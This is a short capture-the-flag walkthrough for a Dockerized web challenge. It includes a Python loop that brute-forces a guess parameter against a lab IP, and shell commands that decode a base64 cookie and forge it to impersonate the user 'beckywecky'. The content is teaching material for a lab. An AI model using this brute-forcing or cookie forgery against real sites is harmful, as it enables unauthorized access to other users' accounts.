Want to run this Docker container locally?

docker run -d -p 9013:80 --restart always --name flag-g joshbeck2024/ctf-base64-encoded-cookie

Here is the python code that solves the challenge. (Probably don’t want to just hand this one to students!)

import re
import requests
import random

while 1 == 1:
        x = random.randint(1,1000)
        s = 'wrong'
        r = requests.get('<http://172.25.200.200:9013?guess=>' + str(x))
        result= r.text
        if s not in result:
                print(result)

When found, you will be given a new URL with a help sheet.

This time there is a base64 cookie that needs to be changed to find the flag!

We’ll want to:

• URL Decode the value
• Base64 decode after that

echo 'e3VzZXI6IG5vYm9keX0%3D' | python3 -c "import sys,urllib.parse; print(urllib.parse.unquote(sys.stdin.read().strip()))" | base64 -d

You’ll see that this cookie contains the JSON

{user: nobody}

We need to change nobody to beckywecky

We can re-encode the cookie like this:

echo -n "{user: beckywecky}" | base64